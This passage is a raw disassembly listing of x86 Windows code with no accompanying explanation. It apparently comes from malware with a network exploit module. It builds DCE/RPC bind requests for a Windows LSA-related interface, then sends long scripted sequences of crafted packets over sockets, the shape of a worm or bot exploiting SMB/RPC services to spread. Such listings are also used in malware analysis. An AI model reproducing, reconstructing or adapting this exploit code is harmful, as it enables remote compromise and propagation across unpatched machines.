		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40C184
		mov	ebx, eax


loc_40C184:				; CODE XREF: sub_40C15B+25j
		test	ebx, ebx
		jbe	short loc_40C1B8
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_40C1C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40C01F
		test	al, al
		jz	short loc_40C1B8
		push	esi
		mov	ecx, edi
		call	sub_40BFEF


loc_40C1B8:				; CODE XREF: sub_40C15B+2Bj
					; sub_40C15B+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C15B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C1C0	proc near		; CODE XREF: sub_40C15B+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4197C0
		add	esp, 0Ch
		retn
sub_40C1C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C1D5	proc near		; CODE XREF: sub_40C01F+5p
					; sub_40C1EB+1Ep
		call	sub_40C311
		cmp	eax, 2
		ja	short loc_40C1E3
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_40C1E3:				; CODE XREF: sub_40C1D5+8j
		add	eax, 0FFFFFFFEh
		retn
sub_40C1D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C1E7	proc near		; CODE XREF: sub_40BEDC+A6p
		mov	eax, [ecx+0Ch]
		retn
sub_40C1E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C1EB	proc near		; CODE XREF: sub_40C01F+99p
		mov	eax, offset loc_4320E4
		call	sub_4197A0
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		or	edi, 1Fh
		call	sub_40C1D5
		cmp	eax, edi
		jnb	short loc_40C215
		mov	edi, [ebp+8]


loc_40C215:				; CODE XREF: sub_40C1EB+25j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		push	0
		push	eax
		mov	ecx, esi
		call	sub_40C301
		mov	[ebp+8], eax
		jmp	short loc_40C24E
; ---------------------------------------------------------------------------


loc_40C22B:				; DATA XREF: ___:00435214o
		mov	eax, [ebp+8]
		mov	ecx, [ebp-14h]
		mov	[ebp-18h], eax
		add	eax, 2
		push	0
		push	eax
		call	sub_40C301
		mov	[ebp+8], eax
		mov	eax, offset loc_40C248
		retn
; ---------------------------------------------------------------------------


loc_40C248:				; DATA XREF: sub_40C1EB+57o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40C24E:				; CODE XREF: sub_40C1EB+3Ej
		mov	eax, [esi+8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	eax, eax
		jbe	short loc_40C270
		cmp	eax, edi
		jbe	short loc_40C25F
		mov	eax, edi


loc_40C25F:				; CODE XREF: sub_40C1EB+70j
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_40BEC7
		add	esp, 0Ch


loc_40C270:				; CODE XREF: sub_40C1EB+6Cj
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40C0CB
		mov	eax, [ebp+8]
		mov	ecx, esi
		inc	eax
		push	eax
		mov	[esi+4], eax
		call	sub_40C2B0
		and	byte ptr [eax],	0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40C297
		mov	edi, ebx


loc_40C297:				; CODE XREF: sub_40C1EB+A8j
		push	edi
		mov	ecx, esi
		call	sub_40BFEF
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40C1EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C2B0	proc near		; CODE XREF: sub_40BEDC+70p
					; sub_40BEDC+B3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		retn	4
sub_40C2B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C2B8	proc near		; CODE XREF: sub_40C0CB+47p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_419B00
		pop	ecx
		retn	8
sub_40C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C2C5	proc near		; CODE XREF: sub_40C15B+15p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40C2FF
		push	eax
		call	sub_40C2B0
		cmp	byte ptr [eax],	0
		jz	short loc_40C2FF
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40C2B0
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40C2FF
		push	edi
		mov	edi, [esi+4]
		push	1
		mov	ecx, esi
		call	sub_40C0CB
		push	edi
		mov	ecx, esi
		call	sub_40BFD2
		pop	edi


loc_40C2FF:				; CODE XREF: sub_40C2C5+8j
					; sub_40C2C5+13j ...
		pop	esi
		retn
sub_40C2C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C301	proc near		; CODE XREF: sub_40C1EB+36p
					; sub_40C1EB+4Fp

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40C318
		pop	ecx
		pop	ecx
		retn	8
sub_40C301	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C311	proc near		; CODE XREF: sub_40C1D5p
		or	eax, 0FFFFFFFFh
		retn
sub_40C311	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C315	proc near		; CODE XREF: sub_40BEDC+7Cp
		mov	al, 1
		retn
sub_40C315	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C318	proc near		; CODE XREF: sub_40C301+6p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40C322
		xor	eax, eax


loc_40C322:				; CODE XREF: sub_40C318+6j
		push	eax
		call	sub_419BB0
		pop	ecx
		retn
sub_40C318	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C32A	proc near		; CODE XREF: ___:loc_40BD33p
					; sub_4318D0+3p
		test	byte_4DB44C, 1
		jnz	short locret_40C33A
		or	byte_4DB44C, 1

locret_40C33A:				; CODE XREF: sub_40C32A+7j
		retn
sub_40C32A	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C33C	proc near		; CODE XREF: ___:0040C709p

var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		xor	edi, edi
		push	20h
		lea	eax, [ebp+var_24]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417070
		mov	esi, offset dword_4D621C
		push	offset dword_43F484
		push	esi
		call	sub_4184C0
		push	[ebp+arg_0]
		push	esi
		call	sub_4184D0
		push	offset dword_43F488
		push	esi
		call	sub_4184D0
		push	offset dword_43F48C
		push	esi
		call	sub_4184D0
		add	esp, 2Ch
		lea	eax, [ebp+var_24]
		mov	[ebp+var_10], esi
		mov	[ebp+var_20], 1
		push	edi
		push	edi
		push	edi
		push	eax
		mov	[ebp+var_14], edi
		mov	[ebp+var_8], edi
		call	dword_4453F0
		push	dword_443B70
		push	[ebp+arg_0]
		push	dword_4D631C
		call	sub_419D00
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		push	66h
		push	dword_4D631C
		call	dword_44527C
		test	eax, eax
		mov	esi, offset dword_4D6320
		jnz	short loc_40C3EB
		mov	eax, [ebp+var_4]
		push	edi
		push	edi
		push	64h
		push	esi
		push	0FFFFFFFFh
		push	dword ptr [eax+4]
		push	edi
		push	edi
		call	near ptr 2710000h
		nop


loc_40C3EB:				; CODE XREF: sub_40C33C+98j
		cmp	[ebp+var_4], edi
		jz	short loc_40C3F9
		push	[ebp+var_4]
		call	dword_4453D8


loc_40C3F9:				; CODE XREF: sub_40C33C+B2j
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn
sub_40C33C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3FF	proc near		; CODE XREF: sub_40C49D+3Fp
					; sub_40C49D:loc_40C4F4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	esi
		xor	edi, edi
		call	sub_414BE0
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_0], eax
		jbe	short loc_40C46C
		or	eax, 0FFFFFFFFh
		push	ebx
		lea	edx, [esi+1]
		sub	eax, esi


loc_40C420:				; CODE XREF: sub_40C3FF+6Aj
		mov	cl, [edx-1]
		cmp	cl, 30h
		jl	short loc_40C435
		cmp	cl, 39h
		jg	short loc_40C435
		movsx	ecx, cl
		sub	ecx, 30h
		jmp	short loc_40C43B
; ---------------------------------------------------------------------------


loc_40C435:				; CODE XREF: sub_40C3FF+27j
					; sub_40C3FF+2Cj
		movsx	ecx, cl
		sub	ecx, 57h


loc_40C43B:				; CODE XREF: sub_40C3FF+34j
		mov	bl, [edx]
		shl	ecx, 4
		cmp	bl, 30h
		jl	short loc_40C453
		cmp	bl, 39h
		jg	short loc_40C453
		movsx	esi, bl
		lea	ecx, [ecx+esi-30h]
		jmp	short loc_40C45A
; ---------------------------------------------------------------------------


loc_40C453:				; CODE XREF: sub_40C3FF+44j
					; sub_40C3FF+49j
		movsx	esi, bl
		lea	ecx, [ecx+esi-57h]


loc_40C45A:				; CODE XREF: sub_40C3FF+52j
		mov	esi, [ebp+arg_4]
		mov	[edi+esi], cl
		inc	edi
		inc	edx
		inc	edx
		lea	ecx, [eax+edx]
		cmp	ecx, [ebp+arg_0]
		jb	short loc_40C420
		pop	ebx


loc_40C46C:				; CODE XREF: sub_40C3FF+16j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40C3FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C472	proc near		; CODE XREF: sub_40C49D+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	edx, eax
		xor	esi, esi
		shr	edx, 1
		jz	short loc_40C49B
		push	ebx
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		lea	eax, [edi+eax-1]


loc_40C489:				; CODE XREF: sub_40C472+25j
		mov	bl, [esi+edi]
		mov	cl, [eax]
		mov	[eax], bl
		mov	[esi+edi], cl
		inc	esi
		dec	eax
		cmp	esi, edx
		jb	short loc_40C489
		pop	edi
		pop	ebx


loc_40C49B:				; CODE XREF: sub_40C472+Bj
		pop	esi
		retn
sub_40C472	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C49D	proc near		; CODE XREF: sub_40C52A+69p
					; sub_40C52A+89p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	esi, esi
		push	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], esi
		mov	edi, ebx
		call	sub_414BE0
		mov	[ebp+arg_0], esi
		cmp	eax, esi
		mov	esi, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_C], eax
		jbe	short loc_40C515


loc_40C4C7:				; CODE XREF: sub_40C49D+76j
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40C50A
		and	byte ptr [eax],	0
		cmp	[ebp+var_8], 3
		push	esi
		push	edi
		jnb	short loc_40C4F4
		call	sub_40C3FF
		mov	edi, eax
		push	edi
		push	esi
		call	sub_40C472
		add	esp, 10h
		add	esi, edi
		add	[ebp+var_4], edi
		jmp	short loc_40C500
; ---------------------------------------------------------------------------


loc_40C4F4:				; CODE XREF: sub_40C49D+3Dj
		call	sub_40C3FF
		pop	ecx
		add	esi, eax
		add	[ebp+var_4], eax
		pop	ecx


loc_40C500:				; CODE XREF: sub_40C49D+55j
		mov	eax, [ebp+arg_0]
		inc	[ebp+var_8]
		lea	edi, [eax+ebx+1]


loc_40C50A:				; CODE XREF: sub_40C49D+32j
		inc	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		cmp	[ebp+arg_0], eax
		jb	short loc_40C4C7


loc_40C515:				; CODE XREF: sub_40C49D+28j
		and	byte ptr [eax+esi], 0
		push	esi
		push	edi
		call	sub_40C3FF
		add	eax, [ebp+var_4]
		pop	ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C52A	proc near		; CODE XREF: ___:0040C6C4p

var_2C		= byte ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		push	9
		pop	ecx
		mov	esi, offset a8a885d041ceb11 ; "8a885d04-1ceb-11c9-9fe8-08002b104860"
		lea	edi, [ebp+var_2C]
		push	1
		rep movsd
		push	800h
		movsb
		call	sub_4151C0
		pop	ecx
		mov	esi, eax
		pop	ecx
		push	1
		push	[ebp+arg_4]
		call	sub_414BE0
		shr	eax, 1
		inc	eax
		pop	ecx
		inc	eax
		push	eax
		call	sub_4151C0
		mov	edi, esi
		push	1
		mov	[ebp+var_4], eax
		add	esi, 10h
		xor	ebx, ebx
		pop	eax
		mov	word ptr [esi],	16D0h
		mov	word ptr [esi+2], 16D0h
		mov	[esi+4], ebx
		mov	[esi+8], eax
		mov	[esi+0Ch], bx
		mov	[esi+0Eh], ax
		add	esi, 10h
		push	esi
		push	[ebp+arg_4]
		call	sub_40C49D
		add	esi, eax
		lea	eax, [ebp+arg_8]
		push	2
		push	eax
		push	esi
		call	sub_4187B0
		inc	esi
		lea	eax, [ebp+var_2C]
		inc	esi
		mov	[esi], bl
		inc	esi
		mov	[esi], bl
		inc	esi
		push	esi
		push	eax
		call	sub_40C49D
		add	esi, eax
		mov	ecx, [ebp+arg_C]
		push	[ebp+var_4]
		mov	byte ptr [esi],	2
		inc	esi
		mov	[esi], bl
		sub	esi, edi
		inc	esi
		mov	byte ptr [edi],	5
		mov	[edi+1], bl
		mov	byte ptr [edi+2], 0Bh
		lea	eax, [esi+2]
		mov	byte ptr [edi+3], 3
		mov	[edi+8], ax
		mov	eax, [ebp+arg_0]
		mov	[edi+0Ch], eax
		mov	dword ptr [edi+4], 10h
		movzx	eax, si
		inc	eax
		mov	[edi+0Ah], bx
		inc	eax
		mov	[ecx], eax
		call	sub_415820
		add	esp, 28h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C52A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C605	proc near		; CODE XREF: ___:0040C74Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	esi
		call	sub_414BE0
		pop	ecx
		mov	ecx, [esp+4+arg_0]
		lea	ecx, [ecx+eax*2-1]


loc_40C619:				; CODE XREF: sub_40C605+25j
		mov	edx, eax
		dec	eax
		test	edx, edx
		jz	short loc_40C62C
		and	byte ptr [ecx],	0
		mov	dl, [eax+esi]
		dec	ecx
		mov	[ecx], dl
		dec	ecx
		jmp	short loc_40C619
; ---------------------------------------------------------------------------


loc_40C62C:				; CODE XREF: sub_40C605+19j
		pop	esi
		retn
sub_40C605	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1048h
		call	sub_417E20
		push	ebx
		xor	ebx, ebx
		cmp	dword_44527C, ebx
		push	esi
		push	edi
		jz	loc_40C6FE
		push	9
		mov	esi, offset aFdb3a030065f11 ; "fdb3a030-065f-11d1-bb9b-00a024ea5525"
		pop	ecx
		lea	edi, [ebp-48h]
		rep movsd
		movsb
		push	1
		pop	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp-4], edi
		call	dword_4453C8
		mov	esi, eax
		cmp	esi, ebx
		mov	[ebp-0Ch], esi
		jl	loc_40C6FE
		push	dword ptr [ebp+0A8h]
		mov	word ptr [ebp-20h], 2
		call	dword_445348
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_445388
		mov	[ebp-1Ch], eax
		push	8
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	esi
		call	dword_4452F0
		test	eax, eax
		jl	short loc_40C6FE
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-48h]
		push	edi
		push	eax
		push	ebx
		call	sub_40C52A
		add	esp, 10h
		mov	edi, eax
		push	ebx
		push	dword ptr [ebp-10h]
		push	edi
		push	esi
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C6F7
		push	ebx
		lea	eax, [ebp-1048h]
		push	1000h
		push	eax
		push	esi
		nop
		call	near ptr 71AB5690h
		test	eax, eax
		jg	short loc_40C705


loc_40C6F7:				; CODE XREF: ___:0040C6DDj
		push	edi
		call	sub_415820
		pop	ecx


loc_40C6FE:				; CODE XREF: ___:0040C646j
					; ___:0040C671j ...
		xor	eax, eax


loc_40C700:				; CODE XREF: ___:0040C898j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C705:				; CODE XREF: ___:0040C6F5j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40C33C
		push	eax
		mov	[ebp-8], eax
		call	sub_414BE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C6FE
		mov	edi, 104Ch
		push	edi
		call	sub_414DB0
		mov	esi, eax
		push	edi
		push	90h
		push	esi
		call	sub_417070
		push	42h
		push	offset dword_43F258
		push	esi
		call	sub_4187B0
		push	dword ptr [ebp-8]
		lea	ebx, [esi+42h]
		push	ebx
		call	sub_40C605
		push	dword ptr [ebp-8]
		call	sub_414BE0
		lea	ebx, [ebx+eax*2]
		push	14h
		push	offset off_43F29C
		push	ebx
		call	sub_4187B0
		mov	ebx, offset dword_43F2B4
		push	18h
		lea	eax, [esi+418h]
		push	ebx
		push	eax
		call	sub_4187B0
		add	esp, 40h
		lea	eax, [esi+830h]
		push	18h
		push	ebx
		push	eax
		call	sub_4187B0
		push	18h
		lea	eax, [esi+0C48h]
		push	offset dword_43F2D0
		push	eax
		call	sub_4187B0
		lea	ebx, [esi+1B6h]
		push	3Ah
		push	offset loc_43F2EC
		push	ebx
		call	sub_4187B0
		push	0FFFFh
		push	539h
		call	sub_4123FE
		add	esp, 2Ch
		mov	[ebp-8], eax
		xor	eax, 437h
		push	eax
		call	dword_445348
		push	158h
		add	ebx, 3Ah
		push	offset dword_43F328
		push	ebx
		mov	word_43F3E2, ax
		call	sub_4187B0
		and	byte ptr [esi+104Ah], 0
		and	byte ptr [esi+104Bh], 0
		push	1
		lea	eax, [ebp+0Ch]
		pop	ebx
		push	ebx
		push	eax
		call	sub_411949
		add	esp, 14h
		cmp	eax, 2
		jnz	short loc_40C817
		mov	dword ptr [ebp-4], 8


loc_40C817:				; CODE XREF: ___:0040C80Ej
		cmp	eax, 3
		jnz	short loc_40C81F
		mov	[ebp-4], ebx


loc_40C81F:				; CODE XREF: ___:0040C81Aj
					; ___:0040C839j
		mov	eax, [ebp-4]
		dec	dword ptr [ebp-4]
		test	eax, eax
		jz	short loc_40C840
		push	0
		push	edi
		push	esi
		push	dword ptr [ebp-0Ch]
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C81F
		jmp	loc_40C6FE
; ---------------------------------------------------------------------------


loc_40C840:				; CODE XREF: ___:0040C827j
		push	dword ptr [ebp-0Ch]
		call	dword_4453E0
		push	1F4h
		nop
		call	near ptr 2690599h
		push	esi
		call	sub_415820
		pop	ecx
		lea	esi, [ebp+8]
		push	dword ptr [ebp-8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4121EE
		add	esp, 0C0h
		cmp	al, 1
		jnz	loc_40C6FE
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_43DE40[eax]
		lea	eax, dword_43DE40[eax]
		mov	eax, ebx
		jmp	loc_40C700

; =============== S U B	R O U T	I N E =======================================



sub_40C89D	proc near		; CODE XREF: sub_40CE96+39p

var_230		= byte ptr -230h
var_210		= byte ptr -210h
var_1F0		= byte ptr -1F0h
var_1D0		= byte ptr -1D0h
var_1B0		= byte ptr -1B0h
var_190		= byte ptr -190h
var_170		= byte ptr -170h
var_150		= byte ptr -150h
var_130		= byte ptr -130h
var_110		= byte ptr -110h
var_F0		= byte ptr -0F0h
var_D0		= byte ptr -0D0h
var_B0		= byte ptr -0B0h
var_90		= byte ptr -90h
var_70		= byte ptr -70h
var_50		= byte ptr -50h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_10		= byte ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
arg_136F8	= byte ptr  136FCh
arg_13720	= dword	ptr  13724h
arg_13864	= byte ptr  13868h
arg_1388C	= byte ptr  13890h
arg_13924	= dword	ptr  13928h

		mov	eax, 13894h
		call	sub_417E20
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		lea	eax, [esp+1Ch+arg_1388C]
		push	eax
		mov	word ptr [esp+20h+var_8], 2
		nop
		call	near ptr 71AB12F8h
		push	[esp+20h+arg_13924]
		mov	[esp+24h+var_8], eax
		nop
		call	near ptr 71AB1746h
		mov	[esp+24h+var_E], ax
		lea	eax, [esp+24h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		test	eax, eax
		jge	short loc_40C8FE


loc_40C8F7:				; CODE XREF: sub_40C89D+275j
		xor	eax, eax
		jmp	loc_40CD29
; ---------------------------------------------------------------------------


loc_40C8FE:				; CODE XREF: sub_40C89D+58j
		lea	eax, [esp+30h+var_20]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	[esp+44h+var_20], 1388h
		call	near ptr 71AB3F8Dh
		nop
		lea	eax, [esp+44h+arg_13864]
		push	1
		push	eax
		call	sub_411949
		pop	ecx
		cmp	eax, 2
		pop	ecx
		jz	loc_40CB17
		cmp	eax, 1
		jz	loc_40CB17
		mov	ebx, dword_4DD498
		push	edi
		push	48h
		push	offset aB	; ""
		push	esi
		call	ebx	; send
		mov	ebp, dword_4DD490
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_43F530
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_43F58C
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_43F640
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_43F738
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_43F778
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_43F7DC
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_43F874
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_43F9D0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_43FB2C
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_43FC88
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40CCF2
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CCF2
		push	0
		push	15Bh
		push	offset dword_43F874
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_43F9D0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_43FB2C
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_43FC88
		push	esi
		call	ebx	; send
		push	1387Fh
		lea	eax, [esp+218h+var_1F0]
		push	0
		push	eax
		call	sub_417070
		add	esp, 0Ch


loc_40CADE:				; CODE XREF: sub_40C89D+450j
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40CCF2
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CCF2
		cmp	[esp+224h+arg_13720], 8Bh
		push	esi
		jnz	loc_40CCF3
		call	near ptr 71AB1A6Dh
		nop
		jmp	loc_40C8F7
; ---------------------------------------------------------------------------


loc_40CB17:				; CODE XREF: sub_40C89D+95j
					; sub_40C89D+9Ej
		mov	ebx, dword_4DD498
		push	edi
		push	48h
		push	offset unk_43FCF4
		push	esi
		call	ebx	; send
		mov	ebp, dword_4DD490
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_43FD40
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_43FD9C
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_43FE50
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	66h
		push	offset dword_43FF48
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_43FFB0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_43FFF0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_440054
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_4400EC
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_440248
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_4403A4
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_440500
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_44065C
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40CCF2
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CCF2
		push	0
		push	15Bh
		push	offset dword_4400EC
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_440248
		push	esi
		call	ebx	; send
